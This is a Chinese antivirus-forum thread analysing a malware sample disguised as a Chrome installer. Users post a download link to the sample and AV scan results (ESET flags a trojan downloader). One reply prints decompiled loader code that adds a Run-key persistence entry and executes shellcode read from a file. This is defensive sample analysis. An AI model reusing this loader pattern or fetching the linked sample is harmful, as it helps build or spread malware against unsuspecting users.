查看: 2323|回复: 18
收起左侧

[病毒样本] fake Chrome 3X

[复制链接]
post88
发表于 2025-9-29 15:57:20 | 显示全部楼层 |阅读模式
本帖最后由 post88 于 2025-9-29 16:16 编辑

https://wormhole.app/D1Qn7J#5NUrWky6azz0cc6XkYgT_Q

avast kill 1
ulyanov2233
发表于 2025-9-29 16:10:31 | 显示全部楼层
这些文件无法使用
发送者在完成上传前离开。您将无法下载文件。请询问发送者重新上传到Wormhole。
post88
 楼主| 发表于 2025-9-29 16:15:54 | 显示全部楼层
ulyanov2233 发表于 2025-9-29 16:10
这些文件无法使用
发送者在完成上传前离开。您将无法下载文件。请询问发送者重新上传到Wormhole。

重新上传了
UNknownOoo
发表于 2025-9-29 16:31:56 | 显示全部楼层
火绒
扫描:未检出
wowocock
发表于 2025-9-29 16:34:28 | 显示全部楼层
UNknownOoo 发表于 2025-9-29 16:31
火绒
扫描:未检出

void __noreturn GetDBVersion()
{
  void (__cdecl *v0)(size_t); // ebx
  _DWORD *v1; // eax
  void (__cdecl *v2)(size_t, size_t); // edi
  wchar_t *v3; // esi
  HANDLE ProcessHeap; // eax
  int v5; // ecx
  unsigned __int16 v6; // ax
  double v7; // xmm0_8
  _DWORD *ThreadLocalStoragePointer; // ecx
  HANDLE FileW; // esi
  unsigned int FileSize; // ebx
  HANDLE v11; // eax
  void *v12; // edi
  HANDLE Thread; // esi
  double Src; // [esp+10h] [ebp-238h]
  void *Srca; // [esp+10h] [ebp-238h]
  _DWORD *v16; // [esp+20h] [ebp-228h]
  HKEY phkResult; // [esp+34h] [ebp-214h] BYREF
  WCHAR Filename[262]; // [esp+38h] [ebp-210h] BYREF

  cosh((double)(rand() % 100));
  if ( *(double *)libm_sse2_pow_precise().m128_u64 < 0.0 )
    libm_sse2_sqrt_precise();
  ++dword_100064C8;
  rand();
  rand();
  _InterlockedIncrement(&dword_100064C8);
  qword_100060A8 = (unsigned __int64)qword_100060A8 >> 1;
  GetModuleFileNameW(0, Filename, 0x104u);
  v0 = (void (__cdecl *)(size_t))malloc;
  v1 = malloc(0x10u);
  v2 = (void (__cdecl *)(size_t, size_t))calloc;
  *v1 = 301;
  v1[1] = 0;
  v1[2] = 0;
  v1[3] = 0;
  calloc(1u, 0x18u);
  InitializeCriticalSection(&CriticalSection);
  if ( !RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0x20006u, &phkResult) )
  {
    RegSetValueExW(phkResult, L"MyApplication", 0, 1u, (const BYTE *)Filename, 2 * wcslen(Filename) + 2);
    RegCloseKey(phkResult);
  }
  IsBadReadPtr(Filename, 0x208u);
  ++dword_100060B4;
  v3 = wcsrchr(Filename, 0x5Cu);
  CreateEventW(0, 0, 0, 0);
  if ( v3 )
  {
    ProcessHeap = GetProcessHeap();
    HeapAlloc(ProcessHeap, 0, 0x10u);
    dword_100064D0 = dword_100064D0 == 0;
    v3[1] = 0;
    v5 = 0;
    Src = 0.0;
    v6 = 72;
    do
    {
      ++v5;
      v7 = (double)v6 + Src;
      v6 = word_10003250[v5];
      Src = v7;
    }
    while ( v6 );
    if ( dword_100064DC > *(_DWORD *)(*((_DWORD *)NtCurrentTeb()->ThreadLocalStoragePointer + TlsIndex) + 4) )
    {
      sub_10001512(&dword_100064DC);
      if ( dword_100064DC == -1 )
      {
        dword_100064E0 = GetTickCount();
        _Init_thread_footer(&dword_100064DC);
      }
    }
  }
  wcscat_s(Filename, 0x104u, L"1.txt");
  ThreadLocalStoragePointer = NtCurrentTeb()->ThreadLocalStoragePointer;
  dword_100064C4 = dword_100064C4 == 0;
  v16 = (_DWORD *)(ThreadLocalStoragePointer[TlsIndex] + 4);
  while ( 1 )
  {
    VirtualAlloc(0, 0x1000u, 0x1000u, 4u);
    --dword_100060C0;
    dword_100064CC = ~dword_100064CC;
    CreateSemaphoreW(0, 4, 16, 0);
    --dword_100060BC;
    FileW = CreateFileW(Filename, 0xC0000000, 3u, 0, 3u, 0x20u, 0);
    v0(0x100u);
    _InterlockedDecrement(&dword_100060A0);
    FileSize = GetFileSize(FileW, 0);
    v2(1u, 0x80u);
    _InterlockedDecrement(&dword_100060B8);
    Srca = operator new[](FileSize, (const struct std::nothrow_t *)&unk_10003150);
    InitializeSRWLock(&SRWLock);
    phkResult = 0;
    InitializeConditionVariable(&ConditionVariable);
    ReadFile(FileW, Srca, FileSize, (LPDWORD)&phkResult, 0);
    v11 = GetProcessHeap();
    HeapAlloc(v11, 0, 0x40u);
    _InterlockedDecrement(&dword_100060C4);
    v12 = VirtualAlloc(0, FileSize, 0x1000u, 0x40u);
    malloc(0x20u);
    if ( dword_100064E4 > *v16 )
    {
      sub_10001512(&dword_100064E4);
      if ( dword_100064E4 == -1 )
      {
        CreateSemaphoreW(0, 1, 1, 0);
        _Init_thread_footer(&dword_100064E4);
      }
    }
    memmove(v12, Srca, FileSize);
    calloc(1u, 0x10u);
    --dword_100060B0;
    Thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)v12, 0, 0, 0);
    WaitForSingleObject(Thread, 0xFFFFFFFF);
    VirtualAlloc(0, 0x1000u, 0x2000u, 1u);
    CloseHandle(Thread);
    v0 = (void (__cdecl *)(size_t))malloc;
    malloc(0x40u);
    VirtualFree(v12, 0, 0x8000u);
    v2 = (void (__cdecl *)(size_t, size_t))calloc;
    calloc(1u, 8u);
    ++dword_100064D4;
  }
}
tony099
发表于 2025-9-29 16:34:51 | 显示全部楼层
ulyanov2233
发表于 2025-9-29 16:44:35 | 显示全部楼层
eset解压扫描2x
2025/9/29 16:43:49;文件系统实时防护;文件;C:\Users\Y8219\Downloads\法克chrome3\ChromeSetup.exe;MSIL/TrojanDownloader.Agent.SGI 特洛伊木马 的变量;已通过删除清除;FIREFLY\Y8219;在通过应用程序创建的新文件上发生了事件: C:\Program Files\WinRAR\WinRAR.exe (4B95046B78C08FF2048F9CCD4186BC8BBDC0BFEF).;3386A7EA0D6C3CC4236174689DCEDB19A10C74B0;;;
2025/9/29 16:43:49;文件系统实时防护;文件;C:\Users\Y8219\Downloads\法克chrome3\ChromeSetup-8679.msi;ESET LiveGuard 特洛伊木马;已通过删除清除;FIREFLY\Y8219;在通过应用程序创建的新文件上发生了事件: C:\Program Files\WinRAR\WinRAR.exe (4B95046B78C08FF2048F9CCD4186BC8BBDC0BFEF).;B0F956277BE09B3387D1475F1373B108B25CC4C5;2025/9/29 16:39:15;;
UNknownOoo
发表于 2025-9-29 16:54:45 | 显示全部楼层
wowocock 发表于 2025-9-29 16:34
void __noreturn GetDBVersion()
{
  void (__cdecl *v0)(size_t); // ebx

感觉是很标准的持久化 + 分离加载Shellcode的方法,vt上静态检出率居然这么低...


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
莒县小哥
发表于 2025-9-29 16:58:26 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
wowocock
发表于 2025-9-29 17:17:03 | 显示全部楼层
UNknownOoo 发表于 2025-9-29 16:54
感觉是很标准的持久化 + 分离加载Shellcode的方法,vt上静态检出率居然这么低...

可能危险动作不多,而且只在自己进程里折腾。达不到很多杀软的阈值。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-11-8 07:35 , Processed in 0.124509 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表